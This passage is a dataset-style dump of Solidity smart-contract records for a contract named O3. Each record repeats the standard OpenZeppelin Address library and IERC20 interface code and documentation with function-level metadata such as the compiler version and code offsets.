* @dev Returns true if `account` is a contract.
*
* [IMPORTANT]
* ====
* It is unsafe to assume that an address for which this function returns
* false is an externally-owned account (EOA) and not a contract.
*
* Among others, `isContract` will return false for the following
* types of addresses:
*
* - an externally-owned account
* - a contract in construction
* - an address where a contract will be created
* - an address where a contract lived, but was destroyed
* ====
*/
function isContract(address account) internal view returns (bool) {
// According to EIP-1052, 0x0 is the value returned for not-yet created accounts
// and 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470 is returned
// for accounts without code, i.e. `keccak256('')`
bytes32 codehash;
bytes32 accountHash = 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470;
// solhint-disable-next-line no-inline-assembly
assembly { codehash := extcodehash(account) }
return (codehash != accountHash && codehash != 0x0);
}
/**
* @dev Replacement for Solidity's `transfer`: sends `amount` wei to
* `recipient`, forwarding all available gas and reverting on errors.
*
* https://eips.ethereum.org/EIPS/eip-1884[EIP1884] increases the gas cost
* of certain opcodes, possibly making contracts go over the 2300 gas limit
* imposed by `transfer`, making them unable to receive funds via
* `transfer`. {sendValue} removes this limitation.
*
* https://diligence.consensys.net/posts/2019/09/stop-using-soliditys-transfer-now/[Learn more].
*
* IMPORTANT: because control is transferred to `recipient`, care must be
* taken to not create reentrancy vulnerabilities. Consider using
* {ReentrancyGuard} or the
* https://solidity.readthedocs.io/en/v0.5.11/security-considerations.html#use-the-checks-effects-interactions-pattern[checks-effects-interactions pattern].
*/
function sendValue(address payable recipient, uint256 amount) internal {
require(address(this).balance >= amount, "Address: insufficient balance");
// solhint-disable-next-line avoid-low-level-calls, avoid-call-value
(bool success, ) = recipient.call{ value: amount }("");
require(success, "Address: unable to send value, recipient may have reverted");
}
/**
* @dev Performs a Solidity function call using a low level `call`. A
* plain`call` is an unsafe replacement for a function call: use this
* function instead.
*
* If `target` reverts with a revert reason, it is bubbled up by this
* function (like regular Solidity function calls).
*
* Returns the raw returned data. To convert to the expected return value,
* use https://solidity.readthedocs.io/en/latest/units-and-global-variables.html?highlight=abi.decode#abi-encoding-and-decoding-functions[`abi.decode`].
*
* Requirements:
*
* - `target` must be a contract.
* - calling `target` with `data` must not revert.
*
* _Available since v3.1._
*/
function functionCall(address target, bytes memory data) internal returns (bytes memory) {
return functionCall(target, data, "Address: low-level call failed");
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], but with
* `errorMessage` as a fallback revert reason when `target` reverts.
*
* _Available since v3.1._
*/
function functionCall(address target, bytes memory data, string memory errorMessage) internal returns (bytes memory) {
return _functionCallWithValue(target, data, 0, errorMessage);
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`],
* but also transferring `value` wei to `target`.
*
* Requirements:
*
* - the calling contract must have an ETH balance of at least `value`.
* - the called Solidity function must be `payable`.
*
* _Available since v3.1._
*/
function functionCallWithValue(address target, bytes memory data, uint256 value) internal returns (bytes memory) {
return functionCallWithValue(target, data, value, "Address: low-level call with value failed");
}
/**
* @dev Same as {xref-Address-functionCallWithValue-address-bytes-uint256-}[`functionCallWithValue`], but
* with `errorMessage` as a fallback revert reason when `target` reverts.
*
* _Available since v3.1._
*/
function functionCallWithValue(address target, bytes memory data, uint256 value, string memory errorMessage) internal returns (bytes memory) {
require(address(this).balance >= value, "Address: insufficient balance for call");
return _functionCallWithValue(target, data, value, errorMessage);
}
function _functionCallWithValue(address target, bytes memory data, uint256 weiValue, string memory errorMessage) private returns (bytes memory) {
require(isContract(target), "Address: call to non-contract");
// solhint-disable-next-line avoid-low-level-calls
(bool success, bytes memory returndata) = target.call{ value: weiValue }(data);
if (success) {
return returndata;
} else {
// Look for revert reason and bubble it up if present
if (returndata.length > 0) {
// The easiest way to bubble the revert reason is using memory via assembly
// solhint-disable-next-line no-inline-assembly
assembly {
let returndata_size := mload(returndata)
revert(add(32, returndata), returndata_size)
}
} else {
revert(errorMessage);
}
}
}
} | /**
* @dev Collection of functions related to the address type
*/ | NatSpecMultiLine | sendValue | function sendValue(address payable recipient, uint256 amount) internal {
require(address(this).balance >= amount, "Address: insufficient balance");
// solhint-disable-next-line avoid-low-level-calls, avoid-call-value
(bool success, ) = recipient.call{ value: amount }("");
require(success, "Address: unable to send value, recipient may have reverted");
}
| /**
* @dev Replacement for Solidity's `transfer`: sends `amount` wei to
* `recipient`, forwarding all available gas and reverting on errors.
*
* https://eips.ethereum.org/EIPS/eip-1884[EIP1884] increases the gas cost
* of certain opcodes, possibly making contracts go over the 2300 gas limit
* imposed by `transfer`, making them unable to receive funds via
* `transfer`. {sendValue} removes this limitation.
*
* https://diligence.consensys.net/posts/2019/09/stop-using-soliditys-transfer-now/[Learn more].
*
* IMPORTANT: because control is transferred to `recipient`, care must be
* taken to not create reentrancy vulnerabilities. Consider using
* {ReentrancyGuard} or the
* https://solidity.readthedocs.io/en/v0.5.11/security-considerations.html#use-the-checks-effects-interactions-pattern[checks-effects-interactions pattern].
*/ | NatSpecMultiLine | v0.6.12+commit.27d51765 | None | ipfs://c4bc1e130b327cbd6705fc2ec74f3d29ab3e1079461891549f03b4d19daeb3bb | {
"func_code_index": [
2160,
2562
]
} | 4,225 |
O3 | O3.sol | 0xc801a2f9097dc96db9d1671017eaec5a74bce087 | Solidity | Address | library Address {
/**
* @dev Returns true if `account` is a contract.
*
* [IMPORTANT]
* ====
* It is unsafe to assume that an address for which this function returns
* false is an externally-owned account (EOA) and not a contract.
*
* Among others, `isContract` will return false for the following
* types of addresses:
*
* - an externally-owned account
* - a contract in construction
* - an address where a contract will be created
* - an address where a contract lived, but was destroyed
* ====
*/
function isContract(address account) internal view returns (bool) {
// According to EIP-1052, 0x0 is the value returned for not-yet created accounts
// and 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470 is returned
// for accounts without code, i.e. `keccak256('')`
bytes32 codehash;
bytes32 accountHash = 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470;
// solhint-disable-next-line no-inline-assembly
assembly { codehash := extcodehash(account) }
return (codehash != accountHash && codehash != 0x0);
}
/**
* @dev Replacement for Solidity's `transfer`: sends `amount` wei to
* `recipient`, forwarding all available gas and reverting on errors.
*
* https://eips.ethereum.org/EIPS/eip-1884[EIP1884] increases the gas cost
* of certain opcodes, possibly making contracts go over the 2300 gas limit
* imposed by `transfer`, making them unable to receive funds via
* `transfer`. {sendValue} removes this limitation.
*
* https://diligence.consensys.net/posts/2019/09/stop-using-soliditys-transfer-now/[Learn more].
*
* IMPORTANT: because control is transferred to `recipient`, care must be
* taken to not create reentrancy vulnerabilities. Consider using
* {ReentrancyGuard} or the
* https://solidity.readthedocs.io/en/v0.5.11/security-considerations.html#use-the-checks-effects-interactions-pattern[checks-effects-interactions pattern].
*/
function sendValue(address payable recipient, uint256 amount) internal {
require(address(this).balance >= amount, "Address: insufficient balance");
// solhint-disable-next-line avoid-low-level-calls, avoid-call-value
(bool success, ) = recipient.call{ value: amount }("");
require(success, "Address: unable to send value, recipient may have reverted");
}
/**
* @dev Performs a Solidity function call using a low level `call`. A
* plain`call` is an unsafe replacement for a function call: use this
* function instead.
*
* If `target` reverts with a revert reason, it is bubbled up by this
* function (like regular Solidity function calls).
*
* Returns the raw returned data. To convert to the expected return value,
* use https://solidity.readthedocs.io/en/latest/units-and-global-variables.html?highlight=abi.decode#abi-encoding-and-decoding-functions[`abi.decode`].
*
* Requirements:
*
* - `target` must be a contract.
* - calling `target` with `data` must not revert.
*
* _Available since v3.1._
*/
function functionCall(address target, bytes memory data) internal returns (bytes memory) {
return functionCall(target, data, "Address: low-level call failed");
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], but with
* `errorMessage` as a fallback revert reason when `target` reverts.
*
* _Available since v3.1._
*/
function functionCall(address target, bytes memory data, string memory errorMessage) internal returns (bytes memory) {
return _functionCallWithValue(target, data, 0, errorMessage);
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`],
* but also transferring `value` wei to `target`.
*
* Requirements:
*
* - the calling contract must have an ETH balance of at least `value`.
* - the called Solidity function must be `payable`.
*
* _Available since v3.1._
*/
function functionCallWithValue(address target, bytes memory data, uint256 value) internal returns (bytes memory) {
return functionCallWithValue(target, data, value, "Address: low-level call with value failed");
}
/**
* @dev Same as {xref-Address-functionCallWithValue-address-bytes-uint256-}[`functionCallWithValue`], but
* with `errorMessage` as a fallback revert reason when `target` reverts.
*
* _Available since v3.1._
*/
function functionCallWithValue(address target, bytes memory data, uint256 value, string memory errorMessage) internal returns (bytes memory) {
require(address(this).balance >= value, "Address: insufficient balance for call");
return _functionCallWithValue(target, data, value, errorMessage);
}
function _functionCallWithValue(address target, bytes memory data, uint256 weiValue, string memory errorMessage) private returns (bytes memory) {
require(isContract(target), "Address: call to non-contract");
// solhint-disable-next-line avoid-low-level-calls
(bool success, bytes memory returndata) = target.call{ value: weiValue }(data);
if (success) {
return returndata;
} else {
// Look for revert reason and bubble it up if present
if (returndata.length > 0) {
// The easiest way to bubble the revert reason is using memory via assembly
// solhint-disable-next-line no-inline-assembly
assembly {
let returndata_size := mload(returndata)
revert(add(32, returndata), returndata_size)
}
} else {
revert(errorMessage);
}
}
}
} | /**
* @dev Collection of functions related to the address type
*/ | NatSpecMultiLine | functionCall | function functionCall(address target, bytes memory data) internal returns (bytes memory) {
return functionCall(target, data, "Address: low-level call failed");
}
| /**
* @dev Performs a Solidity function call using a low level `call`. A
* plain`call` is an unsafe replacement for a function call: use this
* function instead.
*
* If `target` reverts with a revert reason, it is bubbled up by this
* function (like regular Solidity function calls).
*
* Returns the raw returned data. To convert to the expected return value,
* use https://solidity.readthedocs.io/en/latest/units-and-global-variables.html?highlight=abi.decode#abi-encoding-and-decoding-functions[`abi.decode`].
*
* Requirements:
*
* - `target` must be a contract.
* - calling `target` with `data` must not revert.
*
* _Available since v3.1._
*/ | NatSpecMultiLine | v0.6.12+commit.27d51765 | None | ipfs://c4bc1e130b327cbd6705fc2ec74f3d29ab3e1079461891549f03b4d19daeb3bb | {
"func_code_index": [
3318,
3496
]
} | 4,226 |
O3 | O3.sol | 0xc801a2f9097dc96db9d1671017eaec5a74bce087 | Solidity | Address | library Address {
/**
* @dev Returns true if `account` is a contract.
*
* [IMPORTANT]
* ====
* It is unsafe to assume that an address for which this function returns
* false is an externally-owned account (EOA) and not a contract.
*
* Among others, `isContract` will return false for the following
* types of addresses:
*
* - an externally-owned account
* - a contract in construction
* - an address where a contract will be created
* - an address where a contract lived, but was destroyed
* ====
*/
function isContract(address account) internal view returns (bool) {
// According to EIP-1052, 0x0 is the value returned for not-yet created accounts
// and 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470 is returned
// for accounts without code, i.e. `keccak256('')`
bytes32 codehash;
bytes32 accountHash = 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470;
// solhint-disable-next-line no-inline-assembly
assembly { codehash := extcodehash(account) }
return (codehash != accountHash && codehash != 0x0);
}
/**
* @dev Replacement for Solidity's `transfer`: sends `amount` wei to
* `recipient`, forwarding all available gas and reverting on errors.
*
* https://eips.ethereum.org/EIPS/eip-1884[EIP1884] increases the gas cost
* of certain opcodes, possibly making contracts go over the 2300 gas limit
* imposed by `transfer`, making them unable to receive funds via
* `transfer`. {sendValue} removes this limitation.
*
* https://diligence.consensys.net/posts/2019/09/stop-using-soliditys-transfer-now/[Learn more].
*
* IMPORTANT: because control is transferred to `recipient`, care must be
* taken to not create reentrancy vulnerabilities. Consider using
* {ReentrancyGuard} or the
* https://solidity.readthedocs.io/en/v0.5.11/security-considerations.html#use-the-checks-effects-interactions-pattern[checks-effects-interactions pattern].
*/
function sendValue(address payable recipient, uint256 amount) internal {
require(address(this).balance >= amount, "Address: insufficient balance");
// solhint-disable-next-line avoid-low-level-calls, avoid-call-value
(bool success, ) = recipient.call{ value: amount }("");
require(success, "Address: unable to send value, recipient may have reverted");
}
/**
* @dev Performs a Solidity function call using a low level `call`. A
* plain`call` is an unsafe replacement for a function call: use this
* function instead.
*
* If `target` reverts with a revert reason, it is bubbled up by this
* function (like regular Solidity function calls).
*
* Returns the raw returned data. To convert to the expected return value,
* use https://solidity.readthedocs.io/en/latest/units-and-global-variables.html?highlight=abi.decode#abi-encoding-and-decoding-functions[`abi.decode`].
*
* Requirements:
*
* - `target` must be a contract.
* - calling `target` with `data` must not revert.
*
* _Available since v3.1._
*/
function functionCall(address target, bytes memory data) internal returns (bytes memory) {
return functionCall(target, data, "Address: low-level call failed");
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], but with
* `errorMessage` as a fallback revert reason when `target` reverts.
*
* _Available since v3.1._
*/
function functionCall(address target, bytes memory data, string memory errorMessage) internal returns (bytes memory) {
return _functionCallWithValue(target, data, 0, errorMessage);
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`],
* but also transferring `value` wei to `target`.
*
* Requirements:
*
* - the calling contract must have an ETH balance of at least `value`.
* - the called Solidity function must be `payable`.
*
* _Available since v3.1._
*/
function functionCallWithValue(address target, bytes memory data, uint256 value) internal returns (bytes memory) {
return functionCallWithValue(target, data, value, "Address: low-level call with value failed");
}
/**
* @dev Same as {xref-Address-functionCallWithValue-address-bytes-uint256-}[`functionCallWithValue`], but
* with `errorMessage` as a fallback revert reason when `target` reverts.
*
* _Available since v3.1._
*/
function functionCallWithValue(address target, bytes memory data, uint256 value, string memory errorMessage) internal returns (bytes memory) {
require(address(this).balance >= value, "Address: insufficient balance for call");
return _functionCallWithValue(target, data, value, errorMessage);
}
function _functionCallWithValue(address target, bytes memory data, uint256 weiValue, string memory errorMessage) private returns (bytes memory) {
require(isContract(target), "Address: call to non-contract");
// solhint-disable-next-line avoid-low-level-calls
(bool success, bytes memory returndata) = target.call{ value: weiValue }(data);
if (success) {
return returndata;
} else {
// Look for revert reason and bubble it up if present
if (returndata.length > 0) {
// The easiest way to bubble the revert reason is using memory via assembly
// solhint-disable-next-line no-inline-assembly
assembly {
let returndata_size := mload(returndata)
revert(add(32, returndata), returndata_size)
}
} else {
revert(errorMessage);
}
}
}
} | /**
* @dev Collection of functions related to the address type
*/ | NatSpecMultiLine | functionCall | function functionCall(address target, bytes memory data, string memory errorMessage) internal returns (bytes memory) {
return _functionCallWithValue(target, data, 0, errorMessage);
}
| /**
* @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], but with
* `errorMessage` as a fallback revert reason when `target` reverts.
*
* _Available since v3.1._
*/ | NatSpecMultiLine | v0.6.12+commit.27d51765 | None | ipfs://c4bc1e130b327cbd6705fc2ec74f3d29ab3e1079461891549f03b4d19daeb3bb | {
"func_code_index": [
3721,
3922
]
} | 4,227 |
O3 | O3.sol | 0xc801a2f9097dc96db9d1671017eaec5a74bce087 | Solidity | Address | library Address {
/**
* @dev Returns true if `account` is a contract.
*
* [IMPORTANT]
* ====
* It is unsafe to assume that an address for which this function returns
* false is an externally-owned account (EOA) and not a contract.
*
* Among others, `isContract` will return false for the following
* types of addresses:
*
* - an externally-owned account
* - a contract in construction
* - an address where a contract will be created
* - an address where a contract lived, but was destroyed
* ====
*/
function isContract(address account) internal view returns (bool) {
// According to EIP-1052, 0x0 is the value returned for not-yet created accounts
// and 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470 is returned
// for accounts without code, i.e. `keccak256('')`
bytes32 codehash;
bytes32 accountHash = 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470;
// solhint-disable-next-line no-inline-assembly
assembly { codehash := extcodehash(account) }
return (codehash != accountHash && codehash != 0x0);
}
/**
* @dev Replacement for Solidity's `transfer`: sends `amount` wei to
* `recipient`, forwarding all available gas and reverting on errors.
*
* https://eips.ethereum.org/EIPS/eip-1884[EIP1884] increases the gas cost
* of certain opcodes, possibly making contracts go over the 2300 gas limit
* imposed by `transfer`, making them unable to receive funds via
* `transfer`. {sendValue} removes this limitation.
*
* https://diligence.consensys.net/posts/2019/09/stop-using-soliditys-transfer-now/[Learn more].
*
* IMPORTANT: because control is transferred to `recipient`, care must be
* taken to not create reentrancy vulnerabilities. Consider using
* {ReentrancyGuard} or the
* https://solidity.readthedocs.io/en/v0.5.11/security-considerations.html#use-the-checks-effects-interactions-pattern[checks-effects-interactions pattern].
*/
function sendValue(address payable recipient, uint256 amount) internal {
require(address(this).balance >= amount, "Address: insufficient balance");
// solhint-disable-next-line avoid-low-level-calls, avoid-call-value
(bool success, ) = recipient.call{ value: amount }("");
require(success, "Address: unable to send value, recipient may have reverted");
}
/**
* @dev Performs a Solidity function call using a low level `call`. A
* plain`call` is an unsafe replacement for a function call: use this
* function instead.
*
* If `target` reverts with a revert reason, it is bubbled up by this
* function (like regular Solidity function calls).
*
* Returns the raw returned data. To convert to the expected return value,
* use https://solidity.readthedocs.io/en/latest/units-and-global-variables.html?highlight=abi.decode#abi-encoding-and-decoding-functions[`abi.decode`].
*
* Requirements:
*
* - `target` must be a contract.
* - calling `target` with `data` must not revert.
*
* _Available since v3.1._
*/
function functionCall(address target, bytes memory data) internal returns (bytes memory) {
return functionCall(target, data, "Address: low-level call failed");
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], but with
* `errorMessage` as a fallback revert reason when `target` reverts.
*
* _Available since v3.1._
*/
function functionCall(address target, bytes memory data, string memory errorMessage) internal returns (bytes memory) {
return _functionCallWithValue(target, data, 0, errorMessage);
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`],
* but also transferring `value` wei to `target`.
*
* Requirements:
*
* - the calling contract must have an ETH balance of at least `value`.
* - the called Solidity function must be `payable`.
*
* _Available since v3.1._
*/
function functionCallWithValue(address target, bytes memory data, uint256 value) internal returns (bytes memory) {
return functionCallWithValue(target, data, value, "Address: low-level call with value failed");
}
/**
* @dev Same as {xref-Address-functionCallWithValue-address-bytes-uint256-}[`functionCallWithValue`], but
* with `errorMessage` as a fallback revert reason when `target` reverts.
*
* _Available since v3.1._
*/
function functionCallWithValue(address target, bytes memory data, uint256 value, string memory errorMessage) internal returns (bytes memory) {
require(address(this).balance >= value, "Address: insufficient balance for call");
return _functionCallWithValue(target, data, value, errorMessage);
}
function _functionCallWithValue(address target, bytes memory data, uint256 weiValue, string memory errorMessage) private returns (bytes memory) {
require(isContract(target), "Address: call to non-contract");
// solhint-disable-next-line avoid-low-level-calls
(bool success, bytes memory returndata) = target.call{ value: weiValue }(data);
if (success) {
return returndata;
} else {
// Look for revert reason and bubble it up if present
if (returndata.length > 0) {
// The easiest way to bubble the revert reason is using memory via assembly
// solhint-disable-next-line no-inline-assembly
assembly {
let returndata_size := mload(returndata)
revert(add(32, returndata), returndata_size)
}
} else {
revert(errorMessage);
}
}
}
} | /**
* @dev Collection of functions related to the address type
*/ | NatSpecMultiLine | functionCallWithValue | function functionCallWithValue(address target, bytes memory data, uint256 value) internal returns (bytes memory) {
return functionCallWithValue(target, data, value, "Address: low-level call with value failed");
}
| /**
* @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`],
* but also transferring `value` wei to `target`.
*
* Requirements:
*
* - the calling contract must have an ETH balance of at least `value`.
* - the called Solidity function must be `payable`.
*
* _Available since v3.1._
*/ | NatSpecMultiLine | v0.6.12+commit.27d51765 | None | ipfs://c4bc1e130b327cbd6705fc2ec74f3d29ab3e1079461891549f03b4d19daeb3bb | {
"func_code_index": [
4292,
4523
]
} | 4,228 |
O3 | O3.sol | 0xc801a2f9097dc96db9d1671017eaec5a74bce087 | Solidity | Address | library Address {
/**
* @dev Returns true if `account` is a contract.
*
* [IMPORTANT]
* ====
* It is unsafe to assume that an address for which this function returns
* false is an externally-owned account (EOA) and not a contract.
*
* Among others, `isContract` will return false for the following
* types of addresses:
*
* - an externally-owned account
* - a contract in construction
* - an address where a contract will be created
* - an address where a contract lived, but was destroyed
* ====
*/
function isContract(address account) internal view returns (bool) {
// According to EIP-1052, 0x0 is the value returned for not-yet created accounts
// and 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470 is returned
// for accounts without code, i.e. `keccak256('')`
bytes32 codehash;
bytes32 accountHash = 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470;
// solhint-disable-next-line no-inline-assembly
assembly { codehash := extcodehash(account) }
return (codehash != accountHash && codehash != 0x0);
}
/**
* @dev Replacement for Solidity's `transfer`: sends `amount` wei to
* `recipient`, forwarding all available gas and reverting on errors.
*
* https://eips.ethereum.org/EIPS/eip-1884[EIP1884] increases the gas cost
* of certain opcodes, possibly making contracts go over the 2300 gas limit
* imposed by `transfer`, making them unable to receive funds via
* `transfer`. {sendValue} removes this limitation.
*
* https://diligence.consensys.net/posts/2019/09/stop-using-soliditys-transfer-now/[Learn more].
*
* IMPORTANT: because control is transferred to `recipient`, care must be
* taken to not create reentrancy vulnerabilities. Consider using
* {ReentrancyGuard} or the
* https://solidity.readthedocs.io/en/v0.5.11/security-considerations.html#use-the-checks-effects-interactions-pattern[checks-effects-interactions pattern].
*/
function sendValue(address payable recipient, uint256 amount) internal {
require(address(this).balance >= amount, "Address: insufficient balance");
// solhint-disable-next-line avoid-low-level-calls, avoid-call-value
(bool success, ) = recipient.call{ value: amount }("");
require(success, "Address: unable to send value, recipient may have reverted");
}
/**
* @dev Performs a Solidity function call using a low level `call`. A
* plain`call` is an unsafe replacement for a function call: use this
* function instead.
*
* If `target` reverts with a revert reason, it is bubbled up by this
* function (like regular Solidity function calls).
*
* Returns the raw returned data. To convert to the expected return value,
* use https://solidity.readthedocs.io/en/latest/units-and-global-variables.html?highlight=abi.decode#abi-encoding-and-decoding-functions[`abi.decode`].
*
* Requirements:
*
* - `target` must be a contract.
* - calling `target` with `data` must not revert.
*
* _Available since v3.1._
*/
function functionCall(address target, bytes memory data) internal returns (bytes memory) {
return functionCall(target, data, "Address: low-level call failed");
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], but with
* `errorMessage` as a fallback revert reason when `target` reverts.
*
* _Available since v3.1._
*/
function functionCall(address target, bytes memory data, string memory errorMessage) internal returns (bytes memory) {
return _functionCallWithValue(target, data, 0, errorMessage);
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`],
* but also transferring `value` wei to `target`.
*
* Requirements:
*
* - the calling contract must have an ETH balance of at least `value`.
* - the called Solidity function must be `payable`.
*
* _Available since v3.1._
*/
function functionCallWithValue(address target, bytes memory data, uint256 value) internal returns (bytes memory) {
return functionCallWithValue(target, data, value, "Address: low-level call with value failed");
}
/**
* @dev Same as {xref-Address-functionCallWithValue-address-bytes-uint256-}[`functionCallWithValue`], but
* with `errorMessage` as a fallback revert reason when `target` reverts.
*
* _Available since v3.1._
*/
function functionCallWithValue(address target, bytes memory data, uint256 value, string memory errorMessage) internal returns (bytes memory) {
require(address(this).balance >= value, "Address: insufficient balance for call");
return _functionCallWithValue(target, data, value, errorMessage);
}
function _functionCallWithValue(address target, bytes memory data, uint256 weiValue, string memory errorMessage) private returns (bytes memory) {
require(isContract(target), "Address: call to non-contract");
// solhint-disable-next-line avoid-low-level-calls
(bool success, bytes memory returndata) = target.call{ value: weiValue }(data);
if (success) {
return returndata;
} else {
// Look for revert reason and bubble it up if present
if (returndata.length > 0) {
// The easiest way to bubble the revert reason is using memory via assembly
// solhint-disable-next-line no-inline-assembly
assembly {
let returndata_size := mload(returndata)
revert(add(32, returndata), returndata_size)
}
} else {
revert(errorMessage);
}
}
}
} | /**
* @dev Collection of functions related to the address type
*/ | NatSpecMultiLine | functionCallWithValue | function functionCallWithValue(address target, bytes memory data, uint256 value, string memory errorMessage) internal returns (bytes memory) {
require(address(this).balance >= value, "Address: insufficient balance for call");
return _functionCallWithValue(target, data, value, errorMessage);
}
| /**
* @dev Same as {xref-Address-functionCallWithValue-address-bytes-uint256-}[`functionCallWithValue`], but
* with `errorMessage` as a fallback revert reason when `target` reverts.
*
* _Available since v3.1._
*/ | NatSpecMultiLine | v0.6.12+commit.27d51765 | None | ipfs://c4bc1e130b327cbd6705fc2ec74f3d29ab3e1079461891549f03b4d19daeb3bb | {
"func_code_index": [
4774,
5095
]
} | 4,229 |
O3 | O3.sol | 0xc801a2f9097dc96db9d1671017eaec5a74bce087 | Solidity | IERC20 | interface IERC20 {
/**
* @dev Returns the amount of tokens in existence.
*/
function totalSupply() external view returns (uint256);
/**
* @dev Returns the amount of tokens owned by `account`.
*/
function balanceOf(address account) external view returns (uint256);
/**
* @dev Moves `amount` tokens from the caller's account to `recipient`.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* Emits a {Transfer} event.
*/
function transfer(address recipient, uint256 amount) external returns (bool);
/**
* @dev Returns the remaining number of tokens that `spender` will be
* allowed to spend on behalf of `owner` through {transferFrom}. This is
* zero by default.
*
* This value changes when {approve} or {transferFrom} are called.
*/
function allowance(address owner, address spender) external view returns (uint256);
/**
* @dev Sets `amount` as the allowance of `spender` over the caller's tokens.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* IMPORTANT: Beware that changing an allowance with this method brings the risk
* that someone may use both the old and the new allowance by unfortunate
* transaction ordering. One possible solution to mitigate this race
* condition is to first reduce the spender's allowance to 0 and set the
* desired value afterwards:
* https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729
*
* Emits an {Approval} event.
*/
function approve(address spender, uint256 amount) external returns (bool);
/**
* @dev Moves `amount` tokens from `sender` to `recipient` using the
* allowance mechanism. `amount` is then deducted from the caller's
* allowance.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* Emits a {Transfer} event.
*/
function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
/**
* @dev Emitted when `value` tokens are moved from one account (`from`) to
* another (`to`).
*
* Note that `value` may be zero.
*/
event Transfer(address indexed from, address indexed to, uint256 value);
/**
* @dev Emitted when the allowance of a `spender` for an `owner` is set by
* a call to {approve}. `value` is the new allowance.
*/
event Approval(address indexed owner, address indexed spender, uint256 value);
} | /**
* @dev Interface of the ERC20 standard as defined in the EIP. Does not include
* the optional functions; to access them see {ERC20Detailed}.
*/ | NatSpecMultiLine | totalSupply | function totalSupply() external view returns (uint256);
| /**
* @dev Returns the amount of tokens in existence.
*/ | NatSpecMultiLine | v0.6.12+commit.27d51765 | None | ipfs://c4bc1e130b327cbd6705fc2ec74f3d29ab3e1079461891549f03b4d19daeb3bb | {
"func_code_index": [
94,
154
]
} | 4,230 |
O3 | O3.sol | 0xc801a2f9097dc96db9d1671017eaec5a74bce087 | Solidity | IERC20 | interface IERC20 {
/**
* @dev Returns the amount of tokens in existence.
*/
function totalSupply() external view returns (uint256);
/**
* @dev Returns the amount of tokens owned by `account`.
*/
function balanceOf(address account) external view returns (uint256);
/**
* @dev Moves `amount` tokens from the caller's account to `recipient`.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* Emits a {Transfer} event.
*/
function transfer(address recipient, uint256 amount) external returns (bool);
/**
* @dev Returns the remaining number of tokens that `spender` will be
* allowed to spend on behalf of `owner` through {transferFrom}. This is
* zero by default.
*
* This value changes when {approve} or {transferFrom} are called.
*/
function allowance(address owner, address spender) external view returns (uint256);
/**
* @dev Sets `amount` as the allowance of `spender` over the caller's tokens.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* IMPORTANT: Beware that changing an allowance with this method brings the risk
* that someone may use both the old and the new allowance by unfortunate
* transaction ordering. One possible solution to mitigate this race
* condition is to first reduce the spender's allowance to 0 and set the
* desired value afterwards:
* https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729
*
* Emits an {Approval} event.
*/
function approve(address spender, uint256 amount) external returns (bool);
/**
* @dev Moves `amount` tokens from `sender` to `recipient` using the
* allowance mechanism. `amount` is then deducted from the caller's
* allowance.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* Emits a {Transfer} event.
*/
function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
/**
* @dev Emitted when `value` tokens are moved from one account (`from`) to
* another (`to`).
*
* Note that `value` may be zero.
*/
event Transfer(address indexed from, address indexed to, uint256 value);
/**
* @dev Emitted when the allowance of a `spender` for an `owner` is set by
* a call to {approve}. `value` is the new allowance.
*/
event Approval(address indexed owner, address indexed spender, uint256 value);
} | /**
* @dev Interface of the ERC20 standard as defined in the EIP. Does not include
* the optional functions; to access them see {ERC20Detailed}.
*/ | NatSpecMultiLine | balanceOf | function balanceOf(address account) external view returns (uint256);
| /**
* @dev Returns the amount of tokens owned by `account`.
*/ | NatSpecMultiLine | v0.6.12+commit.27d51765 | None | ipfs://c4bc1e130b327cbd6705fc2ec74f3d29ab3e1079461891549f03b4d19daeb3bb | {
"func_code_index": [
237,
310
]
} | 4,231 |
O3 | O3.sol | 0xc801a2f9097dc96db9d1671017eaec5a74bce087 | Solidity | IERC20 | interface IERC20 {
/**
* @dev Returns the amount of tokens in existence.
*/
function totalSupply() external view returns (uint256);
/**
* @dev Returns the amount of tokens owned by `account`.
*/
function balanceOf(address account) external view returns (uint256);
/**
* @dev Moves `amount` tokens from the caller's account to `recipient`.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* Emits a {Transfer} event.
*/
function transfer(address recipient, uint256 amount) external returns (bool);
/**
* @dev Returns the remaining number of tokens that `spender` will be
* allowed to spend on behalf of `owner` through {transferFrom}. This is
* zero by default.
*
* This value changes when {approve} or {transferFrom} are called.
*/
function allowance(address owner, address spender) external view returns (uint256);
/**
* @dev Sets `amount` as the allowance of `spender` over the caller's tokens.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* IMPORTANT: Beware that changing an allowance with this method brings the risk
* that someone may use both the old and the new allowance by unfortunate
